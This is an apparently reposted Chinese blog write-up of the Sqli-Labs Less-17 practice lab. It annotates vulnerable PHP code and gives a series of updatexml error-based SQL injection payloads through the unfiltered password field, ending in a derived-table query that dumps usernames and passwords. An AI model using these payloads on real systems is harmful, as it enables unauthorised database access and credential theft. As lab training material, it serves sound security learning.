博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
updataxml报错注入
阅读量:5173 次
发布时间:2019-06-13

本文共 3122 字,大约阅读时间需要 10 分钟。

// take the variables//接受变量// //也就是插入post提交的uname和passwd,参见:https://www.w3school.com.cn/sql/sql_insert.aspif(isset($_POST['uname']) && isset($_POST['passwd'])){//making sure uname is not injectable//使用了check_input函数,确保了uname不可注入$uname=check_input($_POST['uname']);  //73步中没有对passwd进行像uname一样的过滤,导致passwd可以注入$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.//将连接参数记录到文件中进行分析。//fopen默认是打开文件result.txt,权限是不会覆盖原文件,当文本不存在时就创建文本$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'New Password:'.$passwd."\n");fclose($fp);// connectivity //连通性// sql查询语句// 从表users中的username列的$uname行查询username和password// LIMIT用来限制sql查询后返回结果的数量,LIMIT 0,1指从第0位开始返回1条数据@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";//mysql_query — 发送一条 MySQL 查询,但是在php5.5.0之后就废弃,换为了mysqli_query和PDO::query//90行,执行查询$result=mysql_query($sql);$row = mysql_fetch_array($result);//echo $row;    if($row)    {          //echo '';            $row1 = $row['username'];              //echo 'Your Login name:'. $row1;        //update用于修改表中的数据,参见:https://www.w3school.com.cn/sql/sql_update.asp        //更新表uses中的列password为$passwd,在和列username中$row1同行的位置        $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";        //下面这句执行查询语句真不知道是查询什么,updata用来更新数据,查询updata,好像没意义        mysql_query($update);          echo "
";

部分源码如上

uname被过滤源码没放出来就省略,但是passwd没有被过滤,可以对passwd进行注入

我们是有updatexml报错注入

查数据库版本

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#&submit=Submit

 

查数据库

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#&submit=Submit

 

查表~可以看到被限制了查询数据的量

uname=admin&passwd=1' and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema='security' )),0)%23&submit=Submit

 

使用LIMIT 来控制查询数量

查表

uname=admin&passwd=1' and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema='security' limit 0,1)),0)%23&submit=Submit

 limit 0,1 限制查询从0开始的往后一个表,也就是第一个表为 emils

依次测试以后,可以查到很多表~limit 3,1~也就是第4个表~就是我们想查的表users

 

查列

uname=admin&passwd=1' and updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema. columns WHERE table_name='users' and table_schema='security' limit 0,1)),0)%23&submit=Submit

LIMIT 0.1

LIMIT 1,1

LIMIT 2.1

 

 查列下的字段内容

 

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select concat(id,username,password) from security.users limit 0,1),0x7e),1) %23&submit=Submit

回显不能使用from指定更新的目标表 users

 查询其他表是可以正常查询的

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select concat(id,email_id) from security.emails limit 0,1),0x7e),1) %23&submit=Submit

 

创建一个新的零时表tmp用于查询,就可以解决上面的问题

uname=admin&passwd=chybeta' and updatexml(1,concat(0x7e,(SELECT group_concat(0x3a,username,0x3a,password,0x23) FROM (select * from users)tmp ),0x7e),1)#&submit=Submit

(select * from users )tmp   :为创建一个新的表tmp

 SELECT group_concat(0x3a,username,0x3a,password,0x23) FROM <表名> :为查询表中的数据

updatexml有长度限制,最长32位

 

特别感谢chybeta:https://chybeta.github.io/2017/08/23/Sqli-Labs-Less17-writeup/

转载于:https://www.cnblogs.com/Hunter-01001100/p/11370477.html

你可能感兴趣的文章
Linux--SquashFS
查看>>
Application Pool Identities
查看>>
2017-3-24 开通博客园
查看>>
【MySQL性能优化】MySQL常见SQL错误用法
查看>>
Vue2全家桶之一:vue-cli(vue脚手架)超详细教程
查看>>
Struts 2 常用技术
查看>>
树形DP
查看>>
python flask解决上传下载的问题
查看>>
语法测试
查看>>
CES1
查看>>
java webcontroller访问时报415错误
查看>>
qcow2、raw、vmdk等镜像格式
查看>>
Jzoj5455【NOIP2017提高A组冲刺11.6】拆网线
查看>>
特定字符序列的判断(1028)
查看>>
华为面试
查看>>
平衡二叉树(AVL Tree)
查看>>
【BZOJ3295】[Cqoi2011]动态逆序对 cdq分治
查看>>
【CF799E】Aquarium decoration 线段树
查看>>
大运飞天 鲲鹏展翅
查看>>
从ECMA到W3C
查看>>